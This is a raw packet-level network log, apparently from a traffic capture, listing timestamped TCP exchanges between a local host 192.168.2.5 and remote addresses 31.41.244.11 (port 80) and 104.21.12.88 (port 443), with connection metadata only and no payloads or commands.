                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.724246979 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.724260092 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.726886988 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.726937056 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.727062941 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.727108002 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.729808092 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.729861975 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.730057001 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.730113029 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.732903004 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.732953072 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.732990026 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.733037949 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.735733986 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.735783100 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.735852003 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.735898972 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.738743067 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.738760948 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.738795042 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.738806963 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.741602898 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.741657019 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.741695881 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.741744041 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.744512081 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.744561911 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.744649887 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.744802952 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.747375011 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.747433901 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.747526884 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.747575045 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.749109983 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.749157906 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.749335051 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.749382973 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.750941992 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.750989914 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.751038074 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.751085997 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.752619982 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.752676010 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.752837896 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.752887011 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.754403114 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.754452944 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.754553080 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.754601002 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.756161928 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.756212950 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.756294012 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.756340027 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.757965088 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.758013964 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.758277893 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.758332014 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.759691954 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.759763956 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.759957075 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.760004044 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.761467934 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.761516094 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.761596918 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.761641979 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.763191938 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.763242960 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.763385057 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.763432026 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.764913082 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.764971018 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.765074968 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.765122890 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.766757011 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.766805887 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.766907930 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.766953945 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.768493891 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.768544912 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.768614054 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.768661022 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.770220041 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.770267963 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.770427942 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.770476103 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.772052050 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.772104025 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.772123098 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.772170067 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.773744106 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.773792982 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.773900986 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.773947954 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.775491953 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.775538921 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.775629997 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.775676966 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.777257919 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.777307987 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.777545929 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.777595043 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.779056072 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.779165030 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.779262066 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.779459953 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.780788898 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.780865908 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.780901909 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.780957937 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.883306026 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.883436918 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.883611917 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.884116888 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.884171963 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.884228945 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.885902882 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.885957956 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.885978937 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.887686968 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.887742996 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.887809038 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.888328075 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.889504910 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.889517069 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.889560938 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.891186953 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.891237974 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.891289949 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.892785072 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.893018961 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.893069029 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.894483089 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.894740105 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.894805908 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.896272898 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.896291018 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.896347046 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.897712946 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.897870064 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.897921085 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.899358034 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.899374962 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.899425030 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.900671959 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.900810957 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.900881052 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.902201891 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.902335882 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.902400970 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.903711081 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.903940916 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.904001951 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.904681921 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.904812098 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.904885054 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.904901028 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905102968 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905733109 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905795097 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905806065 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905843973 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905853033 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905854940 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905858040 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.905904055 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.906650066 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.906728983 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.906783104 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.908138037 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.908194065 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.908276081 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.909558058 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.909605980 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.909620047 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.911098957 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.911158085 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.911278963 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.911290884 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.911315918 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.911323071 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.911335945 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.912519932 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.912640095 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.912698984 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.913887024 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.914021969 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.914074898 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.915340900 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.915463924 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.915520906 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.916894913 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.916954041 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.917001009 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.918247938 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.918311119 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.918478966 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.919462919 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.919524908 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.919724941 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.919756889 CET49863443192.168.2.5104.21.12.88
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.919765949 CET44349863104.21.12.88192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.919776917 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.919831991 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.920510054 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.921180010 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.921231031 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.921366930 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.921410084 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.922662973 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.922708988 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.922811031 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.924128056 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.924176931 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.924273968 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.925569057 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.925618887 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.925751925 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.925801039 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.927021027 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.927155972 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.927206039 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.928520918 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.928657055 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.928708076 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.929968119 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.930030107 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.930052042 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.930147886 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.931379080 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.931436062 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.931536913 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.931592941 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.932857037 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.932908058 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.933039904 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.933089018 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.934303999 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.934364080 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.934405088 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.934457064 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.935821056 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.935946941 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.935951948 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.936038017 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.937262058 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.937349081 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.937356949 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.937395096 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.938796043 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.938863993 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.938967943 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.939032078 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.940157890 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.940263033 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.940290928 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.940424919 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.941584110 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.941644907 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.941736937 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.941896915 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.943109989 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.943176985 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.943238020 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.943358898 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.944569111 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.944664955 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.944716930 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.946008921 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.946078062 CET4986180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.946157932 CET804986131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:33.946213007 CET4986180192.168.2.531.41.244.11
